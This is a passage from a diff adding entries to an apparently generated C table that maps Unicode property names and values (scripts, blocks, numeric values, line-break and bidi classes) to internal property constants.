+  {    16,  6706,  7756,  10,   1, PL_IN__9 }   /* presentin=9 */,
+  {     8,  3129,  7436,  17,   7, PL_ELBA }   /* scriptextensions=elbasan */,
+  {     0,  5645,     0,   5,   0, PL_BIDIC }   /* bidic */,
+  {     0,  8340,  7864,   3,   6, PL_JG__LAMADH }   /* jg=lamadh */,
+  {     0,  4269,     0,  15,   0, PL_DIACRITICALSSUP }   /* diacriticalssup */,
+  {     0,  8288,  2991,   3,   3, PL_DT__NAR }   /* dt=nar */,
+  {     1,  7288,  3566,   7,  11, PL_SGNW }   /* script=signwriting */,
+  {     1,   974,  8648,  24,   3, PL_CCC__130 }   /* canonicalcombiningclass=130 */,
+  {     2,  6713,  8882,   3,   3, PL_IN__6_DOT_3 }   /* in=v63 */,
+  {     4,  8011,  3086,   5,   7, PL_Z }   /* gc=separator */,
+  {     6,  2229,   698,  16,   2, PL_MN }   /* generalcategory=mn */,
+  {     2,  6890,  3610,   4,  16, PL_BOPOMOFOEXT }   /* blk=bopomofoextended */,
+  {     1,  6890,  7912,   4,   6, PL_INTELUGU }   /* blk=telugu */,
+  {     2,  7696,  3223,   6,   3, -PL_XPOSIXSPACE }   /* wspace=no */,
+  {     3,  7459,  1540,   3,   4, PL_SC__PHAG }   /* sc=phag */,
+  {     2,  6890,   630,   4,  30, PL_CJKEXTE }   /* blk=cjkunifiedideographsextensione */,
+  {     6,  7464,  3521,   7,   5, PL_XPOSIXBLANK }   /* ishorizspace */,
+  {     0,  7136,  3706,   6,  16, PL_HALFANDFULLFORMS }   /* block=halfandfullforms */,
+  {     2,  6208,  7997,   5,   4, PL_JOINC }   /* joinc=yes */,
+  {     2,   630,     0,  30,   0, PL_CJKEXTE }   /* cjkunifiedideographsextensione */,
+  {     1,  3288,     0,  17,   0, PL_AGHB }   /* caucasianalbanian */,
+  {     0,  7136,  3866,   6,  16, PL_MISCMATHSYMBOLSB }   /* block=miscmathsymbolsb */,
+  {     1,  8816,  7708,   3,   6, PL_NV__216000 }   /* nv=216000 */,
+  {     8,  8200,     0,   4,   0, PL_AGHB }   /* aghb */,
+  {     1,  7136,  1450,   6,  24, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* block=supsymbolsandpictographs */,
+  {     7,   184,   479,   2,  31, PL_MATHALPHANUM }   /* ismathematicalalphanumericsymbols */,
+  {     4,  7459,  1401,   3,   4, PL_SC__SIND }   /* sc=sind */,
+  {     4,  7459,  4644,   3,  15, PL_ZANB }   /* sc=zanabazarsquare */,
+  {     1,  6890,  1497,   4,  23, PL_BYZANTINEMUSIC }   /* blk=byzantinemusicalsymbols */,
+  {     0,  6029,     0,  12,   0, PL_PHAISTOS }   /* phaistosdisc */,
+  {     9,  6706,  5219,  10,   2, PL_IN__10 }   /* presentin=10 */,
+  {     1,  8816,  8148,   3,   3, PL_NV__1_SLASH_4 }   /* nv=1/4 */,
+  {     4,  5645,    32,  10,   2, PL_BC__CS }   /* bidiclass=cs */,
+  {     0,  5544,  7732,  13,   5, PL_NV__50000 }   /* numericvalue=50000 */,
+  {     3,  7136,   947,   6,  17, PL_ANCIENTGREEKMUSIC }   /* block=ancientgreekmusic */,
+  {     1,   513,  7997,  16,   2, PL_UIDEO }   /* unifiedideograph=y */,
+  {     2,    62,     0,   5,   0, PL_XPOSIXGRAPH }   /* graph */,
+  {     2,  4554,  1887,  14,   5, PL_SB__LO }   /* sentencebreak=lower */,
+  {     1,   184,   691,   3,   8, PL_XSUX }   /* iscuneiform */,
+  {     2,   184,  1497,   2,  23, PL_BYZANTINEMUSIC }   /* isbyzantinemusicalsymbols */,
+  {     0,  5544,  7714,  13,   4, PL_NV__3000 }   /* numericvalue=3000 */,
+  {     0,  6263,  5763,  10,   2, PL_LB__WJ }   /* linebreak=wj */,
+  {     2,  8783,     0,   3,   0, PL_CWU }   /* cwu */,
+  {     1,  5051,  8256,   5,   3, PL_NFKDQC__N }   /* nfkdqc=n */,
+  {     1,  8816,  8897,   3,   2, PL_NV__19 }   /* nv=19 */,
+  {     0,  8524,     0,   4,   0, PL_SHRD }   /* shrd */,
+  {     3,  8096,  2098,   5,   3, PL_BALI }   /* scx=bali */,
+  {     1,  6221,  1308,   4,  22, PL_DIACRITICALSFORSYMBOLS }   /* incombiningmarksforsymbols */,
+  {     0,  7136,    42,   6,  36, PL_CJKCOMPATIDEOGRAPHSSUP }   /* block=cjkcompatibilityideographssupplement */,
+  {     1,  6109,  1628,  10,   6, PL_XPOSIXCNTRL }   /* category=control */,
+  {     1,  1417,  4524,   9,  15, PL_PS }   /* category=openpunctuation */,
+  {     0,  5968,  7556,   3,   6, PL_OLCK }   /* inolchiki */,
+  {     0,  1184,  3581,  25,   2, PL_DI }   /* defaultignorablecodepoint=t */,
+  {     4,  7828,  7768,   6,   6, -PL_HYPHEN }   /* hyphen=false */,
+  {     0,  6890,  2895,   4,   8, PL_INETHIOPIC }   /* blk=ethiopic */,
+  {     1,    58,  7951,   4,   5, PL_IDEO }   /* ideo=true */,
+  {     1,  2990,  1236,   4,  22, PL_ARABICPFA }   /* inarabicpresentationformsa */,
+  {     0,  3129,  8569,  18,   3, PL_VAI }   /* scriptextensions=vaii */,
+  {     1,  6890,  1790,   4,  22, PL_MODIFIERLETTERS }   /* blk=spacingmodifierletters */,
+  {     5,   184,  7696,   2,   6, PL_XPOSIXSPACE }   /* iswspace */,
+  {     0,  6210,  7423,   3,   6, PL_CJKEXTF }   /* incjkextf */,
+  {     2,  7288,  2107,   7,   4, PL_SC__SINH }   /* script=sinh */,
+  {     2,  8340,  4981,   3,  14, PL_JG__MANICHAEANQOPH }   /* jg=manichaeanqoph */,
+  {     5,  8340,  4935,   3,   4, PL_JG__BETH }   /* jg=beth */,
+  {     2,  7457,  3914,   5,   5, PL_INSC__OTHER }   /* insc=other */,
+  {     0,  7459,   358,   4,   3, PL_ITAL }   /* sc=ital */,
+  {     0,  8816,  7702,   3,   6, PL_NV__200000 }   /* nv=200000 */,
+  {     0,  7689,  5316,   3,   4, PL_XPOSIXALNUM }   /* isalnum */,
+  {     4,  7288,    78,   7,   4, PL_SC__ARAB }   /* script=arab */,
+  {     1,  6890,  7128,   4,   8, PL_INBASSAVAH }   /* blk=bassavah */,
+  {     0,  6890,  3706,   4,  16, PL_HALFANDFULLFORMS }   /* blk=halfandfullforms */,
+  {     1,  2229,  4224,  16,  14, PL_SC }   /* generalcategory=currencysymbol */,
+  {     3,  2229,   206,  16,   2, PL_PI }   /* generalcategory=pi */,
+  {     1,  8096,  6882,   5,   8, PL_BHKS }   /* scx=bhaiksuki */,
+  {     2,  7380,  2295,   4,   5, PL_CCC__R }   /* ccc=right */,
+  {     2,  3129,  8264,  17,   4, PL_CANS }   /* scriptextensions=cans */,
+  {     2,   949,     0,   2,   0, PL_CI }   /* ci */,
+  {     0,  8096,  2895,   4,   4, PL_ETHI }   /* scx=ethi */,
+  {     0,    34,     0,   3,   0, PL_EXT }   /* ext */,
+  {     1,  7459,  1160,   3,   4, PL_SC__HANG }   /* sc=hang */,
+  {     2,  6890,  4494,   4,  15, PL_NARB }   /* blk=oldnortharabian */,
+  {     1,  1206,  8117,   3,   4, PL_INTAMIL }   /* intamil */,
+  {     8,  1892,  7951,   5,   5, PL_CASED }   /* cased=true */,
+  {     2,  3509,  7997,  17,   2, PL_PATWS }   /* patternwhitespace=y */,
+  {     3,  5544,  8729,  13,   3, PL_NV__4_SLASH_5 }   /* numericvalue=4/5 */,
+  {     0,  7128,     0,   8,   0, PL_BASS }   /* bassavah */,
+  {     0,  5544,  7702,  13,   6, PL_NV__200000 }   /* numericvalue=200000 */,
+  {     0,  5557,  3223,  13,   3, -PL_PATSYN }   /* patternsyntax=no */,
+  {     1,  1963,  7997,   7,   2, PL_RADICAL }   /* radical=y */,
+  {     4,  4074,  7976,  15,   5, PL__PERL_CHARNAME_BEGIN }   /* _perl_charname_begin */,
+  {     4,  1448,  2108,   3,   6, PL_INSINHALA }   /* insinhala */,
+  {     5,  8816,  7942,   3,   4, PL_NV__1_SLASH_12 }   /* nv=1/12 */,
+  {     0,  7136,  6428,   6,  11, PL_SUPERANDSUB }   /* block=superandsub */,
+  {     0,  2750,  7997,   4,   4, PL_TERM }   /* term=yes */,
+  {     8,   184,    17,   3,   1, PL_CO }   /* isco */,
+  {     1,  7288,  8200,   7,   4, PL_AGHB }   /* script=aghb */,
+  {     1,   184,  1659,   3,  21, PL_CJKCOMPATIDEOGRAPHSSUP }   /* iscjkcompatideographssup */,
+  {     2,  5544,  8666,  13,   3, PL_NV__2_SLASH_5 }   /* numericvalue=2/5 */,
+  {     1,  2805,     0,  18,   0, PL_HALFMARKS }   /* combininghalfmarks */,
+  {     0,  3021,     0,   9,   0, PL_LATINEXTA }   /* latinexta */,
+  {     2,  4314,  5163,  13,  14, PL_JG__HAMZAONHEHGOAL }   /* joininggroup=tehmarbutagoal */,
+  {     2,  8096,  6439,   4,  11, PL_SYLO }   /* scx=sylotinagri */,
+  {     0,  7136,  6586,   6,  10, PL_CJKSTROKES }   /* block=cjkstrokes */,
+  {     1,  7834,     0,   4,   0, PL_PE }   /* ispe */,
+  {     2,   184,  3965,   2,  13, PL_MATHOPERATORS }   /* ismathoperators */,
+  {     1,  6613,  1567,   3,   5, PL_HANG }   /* ishangul */,
+  {     2,   974,  2289,  24,   4, PL_CCC__L }   /* canonicalcombiningclass=left */,
+  {     0,   184,  8380,   2,   4, PL_LINA }   /* islina */,
+  {     4,  2369,  3194,  20,   7, PL_VO__R }   /* verticalorientation=rotated */,
+  {     0,    21,  4855,   2,  14, PL_LATINEXTC }   /* inlatinextendedc */,
+  {     2,  6890,  5149,   4,  14, PL_SUPPUNCTUATION }   /* blk=suppunctuation */,
+  {     1,  8344,  6461,   3,  11, PL_JT__T }   /* jt=transparent */,
+  {     0,  6890,  4089,   4,  15, PL_ARABICEXTA }   /* blk=arabicextendeda */,
+  {     4,  6890,   690,   4,  30, PL_CUNEIFORMNUMBERS }   /* blk=cuneiformnumbersandpunctuation */,
+  {     0,  5968,  6006,   3,  11, PL_INOLDHUNGARIAN }   /* inoldhungarian */,
+  {     0,  7288,  8524,   7,   4, PL_SC__SHRD }   /* script=shrd */,
+  {     3,  6917,     0,   9,   0, PL_QAAI }   /* inherited */,
+  {     1,  7288,  5801,   7,   5, PL_KHMR }   /* script=khmer */,
+  {     0,  4509,     0,  15,   0, PL_SARB }   /* oldsoutharabian */,
+  {     4,  8456,     0,   4,   0, PL_OSGE }   /* osge */,
+  {     3,  7840,  4616,   4,   6, PL_VEDICEXT }   /* isvedicext */,
+  {     3,  7380,  7702,   4,   3, PL_CCC__133 }   /* ccc=200 */,
+  {     0,  5544,  7714,  13,   1, PL_NV__3 }   /* numericvalue=3 */,
+  {     0,   720,     0,  21,   0, PL_ENCLOSEDALPHANUM }   /* enclosedalphanumerics */,
+  {     0,   186,  7768,   2,   6, -PL_CE }   /* ce=false */,
+  {     1,  7136,  4869,   6,  14, PL_LATINEXTD }   /* block=latinextendedd */,
+  {     3,  7459,  7128,   3,   4, PL_BASS }   /* sc=bass */,
+  {     2,  8288,  3543,   3,   5, PL_DT__SML }   /* dt=small */,
+  {     2,  7459,  7918,   3,   4, PL_SC__THAA }   /* sc=thaa */,
+  {     0,  2229,   966,  16,   2, PL_NO }   /* generalcategory=no */,
+  {     6,  8816,  7941,   3,   5, PL_NV__11_SLASH_12 }   /* nv=11/12 */,
+  {     5,  8816,  5219,   3,   5, PL_NV__10000 }   /* nv=10000 */,
+  {     8,   184,    34,   2,   3, PL_EXT }   /* isext */,
+  {     8,  6263,  6816,  10,  10, PL_LB__WJ }   /* linebreak=wordjoiner */,
+  {     4,  8376,    25,   3,   2, PL_LB__SY }   /* lb=sy */,
+  {     1,  7380,  8933,   4,   2, PL_CCC__9 }   /* ccc=vr */,
+  {     2,   184,  3021,   2,  18, PL_LATINEXTADDITIONAL }   /* islatinextadditional */,
+  {     0,  2221,  4588,   3,  11, PL_LB__H2 }   /* hst=lvsyllable */,
+  {     3,  8011,   599,   3,   2, PL_XPOSIXCNTRL }   /* gc=cc */,
+  {     1,   974,  8655,  24,   2, PL_CCC__33 }   /* canonicalcombiningclass=33 */,
+  {     1,  6616,  7768,  10,   6, -PL_DEP }   /* deprecated=false */,
+  {     0,  1417,  4599,   9,  15, PL_LU }   /* category=uppercaseletter */,
+  {     0,  2985,  7951,  18,   5, PL_IDST }   /* idstrinaryoperator=true */,
+  {     1,  7459,  1981,   3,   8, PL_SC__CYRL }   /* sc=cyrillic */,
+  {     2,  6120,     0,   6,   0, PL_DOMINO }   /* domino */,
+  {     1,  1855,  3223,  21,   2, -PL_CWCM }   /* changeswhencasemapped=n */,
+  {    12,  6890,  7312,   4,   8, PL_INTAGBANWA }   /* blk=tagbanwa */,
+  {     3,  6706,  8756,  10,   3, PL_IN__6_DOT_3 }   /* presentin=6.3 */,
+  {     1,  7459,  4104,   3,   5, PL_BAMU }   /* sc=bamum */,
+  {     0,  5544,  8160,  13,   2, PL_NV__13 }   /* numericvalue=13 */,
+  {     3,  1417,  6351,   9,  11, PL_NO }   /* category=othernumber */,
+  {    16,  1426,  3914,  22,   5, PL_INSC__OTHER }   /* indicsyllabiccategory=other */,
+  {     1,  5544,  8137,  13,   3, PL_NV__1_SLASH_2 }   /* numericvalue=1/2 */,
+  {     2,   184,  5825,   2,   4, PL_MAHJ }   /* ismahj */,
+  {     0,  2134,  3223,   3,   3, -PL_XPOSIXXDIGIT }   /* hex=no */,
+  {     1,  3129,  8044,  17,   4, PL_PHLI }   /* scriptextensions=phli */,
+  {     3,  8288,   436,   4,   2, PL_DT__ENC }   /* dt=enc */,
+  {     4,  6472,  5777,  10,  12, PL_LB__HL }   /* wordbreak=hebrewletter */,
+  {     1,  6210,  3323,   3,  16, PL_CYRILLICEXTA }   /* incyrillicextendeda */,
+  {     0,  6483,  3581,  11,   2, PL_XIDC }   /* xidcontinue=t */,
+  {     3,  7380,  8643,   7,   2, PL_CCC__22 }   /* ccc=ccc22 */,
+  {     5,  5544,  8164,  13,   4, PL_NV__15_SLASH_2 }   /* numericvalue=15/2 */,
+  {     1,  5284,  7951,  13,   5, PL_CI }   /* caseignorable=true */,
+  {     0,  7380,  3262,   4,   9, PL_CCC__BL }   /* ccc=belowleft */,
+  {     1,  6109,    17,  10,   1, PL_CO }   /* category=co */,
+  {     2,  7380,  2769,   4,  13, PL_CCC__214 }   /* ccc=attachedabove */,
+  {     0,  1503,  2896,   3,  17, PL_ETHIOPICSUP }   /* inethiopicsupplement */,
+  {     0,  7459,    78,   3,   6, PL_SC__ARAB }   /* sc=arabic */,
+  {     1,  7583,     0,   7,   0, PL_PHAG }   /* phagspa */,
+  {     8,  8783,  3223,   3,   3, -PL_CWU }   /* cwu=no */,
+  {     5,  8376,  6666,   3,  10, PL_LB__NS }   /* lb=nonstarter */,
+  {     9,  6263,  4673,  10,  14, PL_LB__CR }   /* linebreak=carriagereturn */,
+  {    14,   974,  8164,  27,   2, PL_CCC__15 }   /* canonicalcombiningclass=ccc15 */,
+  {     0,  7312,     0,   4,   0, PL_TAGB }   /* tagb */,
+  {     0,  7520,     0,   7,   0, PL_MARC }   /* marchen */,
+  {     4,  6472,  7160,  10,   8, PL_WB__EBG }   /* wordbreak=ebasegaz */,
+  {     1,  1402,  4256,   4,  13, PL_DIACRITICALSEXT }   /* indiacriticalsext */,
+  {     1,  8101,  3223,   5,   2, -PL_STERM }   /* sterm=n */,
+  {     2,  7288,  8440,   7,   4, PL_OGAM }   /* script=ogam */,
+  {     0,  5645,  3039,  10,  18, PL_BC__LRI }   /* bidiclass=lefttorightisolate */,
+  {     1,  8276,  3223,   4,   2, -PL_CWCM }   /* cwcm=n */,
+  {     6,  8016,  5762,   4,   3, PL_LB__ZWJ }   /* gcb=zwj */,
+  {     5,  7834,    47,   5,   1, PL_PERM }   /* isperm */,
+  {     4,  7459,  5427,   3,   9, PL_SC__MLYM }   /* sc=malayalam */,
+  {     0,  3509,  7768,  17,   6, -PL_PATWS }   /* patternwhitespace=false */,
+  {    10,  7478,  3995,   3,  15, PL_SYRIACSUP }   /* issyriacsupplement */,
+  {     8,  7136,  2044,   6,  14, PL_MEETEIMAYEKEXT }   /* block=meeteimayekext */,
+  {     6,  5134,   132,   4,   2, PL_PALM }   /* ispalm */,
+  {     0,  3526,  7768,  17,   6, -PL_RI }   /* regionalindicator=false */,
+  {     0,  8340,  4359,   3,  15, PL_JG__MANICHAEANGIMEL }   /* jg=manichaeangimel */,
+  {    10,  7288,   954,   7,   5, PL_SC__GREK }   /* script=greek */,
+  {     7,  8408,     0,   4,   0, PL_MRO }   /* mroo */,
+  {     5,  7288,  5777,   7,   6, PL_HEBR }   /* script=hebrew */,
+  {     2,  7136,   920,   6,  27, PL_ALPHABETICPF }   /* block=alphabeticpresentationforms */,
+  {     5,  7136,  1680,   6,  22, PL_INDICNUMBERFORMS }   /* block=commonindicnumberforms */,
+  {     1,  8096,  7492,   4,   7, PL_KNDA }   /* scx=kannada */,
+  {     2,  5645,     1,  11,   1, PL_BC__BN }   /* bidiclass=bn */,
+  {     3,  6713,  7732,   3,   1, PL_IN__5 }   /* in=5 */,
+  {     6,   184,  6626,   2,  10, PL_KHAR }   /* iskharoshthi */,
+  {     0,  5375,  6053,  12,  12, PL_JT__R }   /* joiningtype=rightjoining */,
+  {     2,   184,  4104,   2,  15, PL_BAMUMSUP }   /* isbamumsupplement */,
+  {     0,  6483,  7768,  11,   2, -PL_XIDC }   /* xidcontinue=f */,
+  {     0,  7152,     0,   4,   0, PL_DUPL }   /* dupl */,
+  {     6,  7136,  8819,   6,   3, PL_OCR }   /* block=ocr */,
+  {     0,   184,  7388,   3,   6, PL_CJKEXTA }   /* iscjkexta */,
+  {     1,  2023,  7997,  21,   4, PL_LOE }   /* logicalorderexception=yes */,
+  {     0,  7288,  6005,   7,  12, PL_HUNG }   /* script=oldhungarian */,
+  {     0,  4449,    17,  15,   1, PL_COMPEX }   /* nfcquickcheck=no */,
+  {     2,  4314,  6523,  13,   2, PL_JG__FE }   /* joininggroup=fe */,
+  {     2,  7459,  8232,   3,   4, PL_AVST }   /* sc=avst */,
+  {     0,  6890,  3290,   4,   4, PL_UCAS }   /* blk=ucas */,
+  {     2,  6351,     0,  11,   0, PL_NO }   /* othernumber */,
+  {     1,  6890,  3458,   4,  10, PL_INMANICHAEAN }   /* blk=manichaean */,
+  {     1,  7380,  8901,   7,   2, PL_CCC__36 }   /* ccc=ccc36 */,
+  {     8,   184,  4239,   2,   4, PL_DASH }   /* isdash */,
+  {     1,   974,  8643,  24,   2, PL_CCC__22 }   /* canonicalcombiningclass=22 */,
+  {     6,  2229,  5037,  16,  14, PL_SK }   /* generalcategory=modifiersymbol */,
+  {     0,  6616,  7997,  10,   4, PL_DEP }   /* deprecated=yes */,
+  {     8,  7136,   570,   6,  30, PL_CJKEXTC }   /* block=cjkunifiedideographsextensionc */,
+  {     0,  3458,     0,  10,   0, PL_MANI }   /* manichaean */,
+  {     2,  4314,  6384,  13,  11, PL_JG__ROHINGYAYEH }   /* joininggroup=rohingyayeh */,
+  {     2,  8798,  7768,   3,   2, -PL_LOE }   /* loe=f */,
+  {     1,  4314,  5479,  13,  13, PL_JG__MANICHAEANONE }   /* joininggroup=manichaeanone */,
+  {     1,  8816,  8148,   3,   4, PL_NV__1_SLASH_40 }   /* nv=1/40 */,
+  {     0,  7136,  5957,   6,  12, PL_INMENDEKIKAKUI }   /* block=mendekikakui */,
+  {     0,   184,  8368,   2,   3, PL_LAO }   /* islao */,
+  {     0,  8816,  8180,   3,   3, PL_NV__3_SLASH_8 }   /* nv=3/8 */,
+  {     0,  5968,  3058,   3,  17, PL_ORNAMENTALDINGBATS }   /* inornamentaldingbats */,
+  {     0,   974,  7708,  27,   2, PL_CCC__21 }   /* canonicalcombiningclass=ccc21 */,
+  {     3,  7345,  7951,   7,   5, PL_IDS }   /* idstart=true */,
+  {     6,   920,     0,  27,   0, PL_ALPHABETICPF }   /* alphabeticpresentationforms */,
+  {     0,  6221,   115,   4,  33, PL_DIACRITICALSFORSYMBOLS }   /* incombiningdiacriticalmarksforsymbols */,
+  {     0,   186,  7768,   2,   2, -PL_CE }   /* ce=f */,
+  {     2,  1448,     0,  26,   0, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* insupsymbolsandpictographs */,
+  {     0,  1981,     0,   8,   0, PL_CYRL }   /* cyrillic */,
+  {     0,  7689,  5032,   3,   2, PL_ANY }   /* isany */,
+  {     0,  6890,  7104,   4,   8, PL_INARMENIAN }   /* blk=armenian */,
+  {     3,  7136,  7200,   6,   8, PL_INGURMUKHI }   /* block=gurmukhi */,
+  {     0,  4224,     0,  15,   0, PL_CURRENCYSYMBOLS }   /* currencysymbols */,
+  {     2,  8340,  5518,   3,  13, PL_JG__MANICHAEANWAW }   /* jg=manichaeanwaw */,
+  {     2,  8196,  5219,   4,   2, PL_AGE__10 }   /* age=10 */,
+  {     9,  7288,  7858,   7,   4, PL_SC__KHOJ }   /* script=khoj */,
+  {     0,  2229,  6796,  16,  10, PL_CN }   /* generalcategory=unassigned */,
+  {     0,  6210,   511,   3,  29, PL_CJKEXTA }   /* incjkunifiedideographsextensiona */,
+  {    16,  8011,  4329,   3,  15, PL_LL }   /* gc=lowercaseletter */,
+  {     3,  8026,  5271,   5,  13, PL_INPC__BOTTOMANDLEFT }   /* inpc=bottomandleft */,
+  {     0,  3129,  8520,  17,   4, PL_SHAW }   /* scriptextensions=shaw */,
+  {     0,  8376,  8919,   3,   2, PL_LB__B2 }   /* lb=b2 */,
+  {     0,   184,  7152,   2,   8, PL_DUPL }   /* isduployan */,
+  {     0,  7380,  4976,   4,   2, PL_CCC__7 }   /* ccc=nk */,
+  {     1,  6890,     0,   4,  34, PL_UCAS }   /* blk=unifiedcanadianaboriginalsyllabics */,
+  {     0,   184,  2408,   2,   6, PL_BRAH }   /* isbrahmi */,
+  {     0,  8288,  7541,   3,   7, PL_DT__NB }   /* dt=nobreak */,
+  {     2,  6890,  5531,   4,  13, PL_MISCTECHNICAL }   /* blk=misctechnical */,
+  {     0,  4554,    72,  14,   2, PL_SB__LE }   /* sentencebreak=le */,
+  {    14,  3129,  8548,  17,   4, PL_TFNG }   /* scriptextensions=tfng */,
+  {     1,  3129,  7780,  17,   4, PL_CARI }   /* scriptextensions=cari */,
+  {     2,  8096,  8268,   4,   4, PL_CPRT }   /* scx=cprt */,
+  {     2,  8798,     0,   3,   0, PL_LOE }   /* loe */,
+  {    28,  1159,  3223,  25,   2, -PL_CWKCF }   /* changeswhennfkccasefolded=n */,
+  {     0,    84,  3581,   4,   2, PL_MATH }   /* math=t */,
+  {     1,  7226,  5315,   6,   5, PL_XPOSIXALNUM }   /* xposixalnum */,
+  {     2,    58,  3223,   4,   2, -PL_IDEO }   /* ideo=n */,
+  {     0,  1417,  1452,   9,   2, PL_PS }   /* category=ps */,
+  {     6,  8026,   850,   3,   9, PL_PUA }   /* inprivateuse */,
+  {     1,  5544,  8720,  13,   3, PL_NV__3_SLASH_5 }   /* numericvalue=3/5 */,
+  {     2,  6706,  8855,  10,   3, PL_IN__3_DOT_2 }   /* presentin=v32 */,
+  {     0,  5284,  3223,  13,   3, -PL_CI }   /* caseignorable=no */,
+  {     7,  7478,  3568,   3,   3, PL_SGNW }   /* issgnw */,
+  {     5,   184,  8436,   2,   4, PL_NSHU }   /* isnshu */,
+  {    17,   184,  6980,   2,   9, PL_NBAT }   /* isnabataean */,
+  {     0,  8096,  7846,   4,   6, PL_KTHI }   /* scx=kaithi */,
+  {     2,  7459,  2636,   3,   9, PL_SC__MONG }   /* sc=mongolian */,
+  {     0,  7380,    78,   4,   2, PL_CCC__AR }   /* ccc=ar */,
+  {     4,  1426,   699,  22,   6, PL_INSC__NUMBER }   /* indicsyllabiccategory=number */,
+  {     0,  8016,  3985,   4,   9, PL_LB__EM }   /* gcb=emodifier */,
+  {     3,  7459,  8264,   3,   4, PL_CANS }   /* sc=cans */,
+  {     1,  3129,  8424,  17,   4, PL_NBAT }   /* scriptextensions=nbat */,
+  {     2,  6890,  5693,   4,  12, PL_CYRILLICEXTB }   /* blk=cyrillicextb */,
+  {     1,  5765,  7768,  12,   6, -PL_GRBASE }   /* graphemebase=false */,
+  {     2,  7136,  6505,   6,  11, PL_YISYLLABLES }   /* block=yisyllables */,
+  {     8,  5544,  8180,  13,   4, PL_NV__3_SLASH_80 }   /* numericvalue=3/80 */,
+  {     1,  7380,  8688,   4,   2, PL_CCC__26 }   /* ccc=26 */,
+  {     0,  4542,  7585,   3,   3, PL_TAGS }   /* istags */,
+  {     0,  8340,  3812,   3,   3, PL_JG__LAM }   /* jg=lam */,
+  {     3,  2065,  3581,  21,   2, PL_NCHAR }   /* noncharactercodepoint=t */,
+  {     0,  2229,   133,  16,   4, PL_M }   /* generalcategory=mark */,
+  {     4,  6890,  1378,   4,  24, PL_HIGHPUSURROGATES }   /* blk=highprivateusesurrogates */,
+  {    10,  2750,     0,   4,   0, PL_TERM }   /* term */,
+  {     3,  7288,  2877,   7,  10, PL_SC__DEVA }   /* script=devanagari */,
+  {     2,  6890,  4509,   4,  15, PL_SARB }   /* blk=oldsoutharabian */,
+  {     4,  8204,  7768,   4,   6, -PL_POSIXXDIGIT }   /* ahex=false */,
+  {     6,  7288,  8364,   7,   4, PL_LANA }   /* script=lana */,
+  {     0,  8096,  7604,   4,   7, PL_SIDD }   /* scx=siddham */,
+  {     0,    34,  7997,   3,   2, PL_EXT }   /* ext=y */,
+  {     0,  7136,   361,   6,  21, PL_MATHOPERATORS }   /* block=mathematicaloperators */,
+  {     9,  7478,  3963,   3,  15, PL_SUPMATHOPERATORS }   /* issupmathoperators */,
+  {     0,  1876,  7768,  21,   2, -PL_CWL }   /* changeswhenlowercased=f */,
+  {     1,  8816,  8903,   3,   2, PL_NV__38 }   /* nv=38 */,
+  {     0,    96,  7951,  10,   5, PL_XPOSIXALPHA }   /* alphabetic=true */,
+  {     1,  8777,  7768,   3,   2, -PL_CWL }   /* cwl=f */,
+  {     1,   184,  2249,   2,   4, PL_GLAG }   /* isglag */,
+  {     9,  7136,  8091,   6,   5, PL_INRUNIC }   /* block=runic */,
+  {     0,  7816,  7768,   6,   6, -PL_GRBASE }   /* grbase=false */,
+  {     3,  6890,  5388,   4,  13, PL_KANAEXTA }   /* blk=kanaextendeda */,
+  {     3,  1876,  3581,  21,   2, PL_CWL }   /* changeswhenlowercased=t */,
+  {     2,  1448,   468,   5,  11, PL_SUPPUNCTUATION }   /* insuppunctuation */,
+  {     2,   974,  8228,  24,   4, PL_CCC__133 }   /* canonicalcombiningclass=atbl */,
+  {     0,  7136,  7786,   6,   6, PL_INCHAKMA }   /* block=chakma */,
+  {     2,  5645,    24,  10,   1, PL_BC__L }   /* bidiclass=l */,
+  {     2,   184,  6219,   2,  11, PL_JOINC }   /* isjoincontrol */,
+  {     0,  7288,  7034,   7,   9, PL_PALM }   /* script=palmyrene */,
+  {     0,  8795,    67,   3,   4, PL_VSSUP }   /* invssup */,
+  {     0,  8508,  8373,   4,   3, PL_SC__LATN }   /* sc=latn */,
+  {     1,  6210,  1659,   3,  18, PL_CJKCOMPATIDEOGRAPHS }   /* incjkcompatideographs */,
+  {     0,  1908,     0,   5,   0, PL_LT }   /* title */,
+  {     0,  8816,  7744,   3,   3, PL_NV__700 }   /* nv=700 */,
+  {     0,  8816,  7732,   3,   4, PL_NV__5000 }   /* nv=5000 */,
+  {     1,  6713,  8843,   3,   3, PL_IN__2 }   /* in=v20 */,
+  {     2,  4104,     0,  15,   0, PL_BAMUMSUP }   /* bamumsupplement */,
+  {     1,  2065,  7768,  21,   2, -PL_NCHAR }   /* noncharactercodepoint=f */,
+  {     2,  8096,  8304,   4,   4, PL_GUJR }   /* scx=gujr */,
+  {     0,   184,  4419,   2,  15, PL_MISCPICTOGRAPHS }   /* ismiscpictographs */,
+  {     3,  6263,    21,  10,   2, PL_LB__IN }   /* linebreak=in */,
+  {     1,   184,  7152,   2,   4, PL_DUPL }   /* isdupl */,
+  {     1,  8011,  5079,   3,  14, PL_MN }   /* gc=nonspacingmark */,
+  {     2,  3516,  7768,  10,   2, -PL_XPOSIXSPACE }   /* whitespace=f */,
+  {     1,  7136,  8208,   6,   4, PL_INAHOM }   /* block=ahom */,
+  {     0,  1258,     0,  24,   0, PL_ARABICPFB }   /* arabicpresentationformsb */,
+  {     9,  7227,  8081,   5,   5, PL_POSIXPRINT }   /* posixprint */,
+  {     2,  4402,  3867,   3,  15, PL_MISCMATHSYMBOLSB }   /* inmiscmathsymbolsb */,
+  {     1,  6890,  7256,   4,   8, PL_KANAEXTA }   /* blk=kanaexta */,
+  {     6,  2023,  7997,  21,   2, PL_LOE }   /* logicalorderexception=y */,
+  {     5,  3129,  7646,  17,   7, PL_TAVT }   /* scriptextensions=taiviet */,
+  {     0,  8504,    18,   4,   1, PL_LB__CR }   /* sb=cr */,
+  {     1,   974,  2769,  24,  18, PL_CCC__216 }   /* canonicalcombiningclass=attachedaboveright */,
+  {     0,  7136,  6872,   6,   9, PL_ARABICPFB }   /* block=arabicpfb */,
+  {     3,  1448,  6440,   3,  10, PL_INSYLOTINAGRI }   /* insylotinagri */,
+  {     0,  7478,  2675,   3,  11, PL_SUNDANESESUP }   /* issundanesesup */,
+  {     2,  7136,  4135,   7,  14, PL_BRAI }   /* block=braillepatterns */,
+  {     0,  7136,  4614,   6,  15, PL_VEDICEXT }   /* block=vedicextensions */,
+  {     0,  8096,  8280,   4,   4, PL_CYRL }   /* scx=cyrl */,
+  {    10,  2985,  7997,   3,   4, PL_IDS }   /* ids=yes */,
+  {     7,   117,     6,   3,   2, PL_INIDC }   /* inidc */,
